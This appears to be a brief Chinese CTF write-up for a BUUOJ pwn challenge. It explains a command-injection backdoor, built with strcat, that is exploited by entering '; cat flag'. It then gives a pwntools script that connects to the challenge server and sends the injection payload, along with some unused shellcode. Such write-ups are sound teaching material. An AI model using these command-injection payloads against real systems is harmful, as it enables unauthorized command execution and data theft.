# 1. 分析程序
64 位程序,开启了 NX
发现 case 1
中有后门函数,利用 strcat
函数进行拼接,那么我们就可以通过指令的连续执行来获取 flag
通过 ;
符合就可以分隔连续执行 linux
命令,那么我们只需要输入 ; cat flag
就能得到 flag
# 2.exp (其实完全不需要,直接 nc 连接就可以):
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote('node4.buuoj.cn',27288) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("choose:\n") | |
p.sendline(b"1") | |
p.recvuntil("address:\n") | |
payload1="; cat flag" | |
p.sendline(payload1) | |
p.interactive() |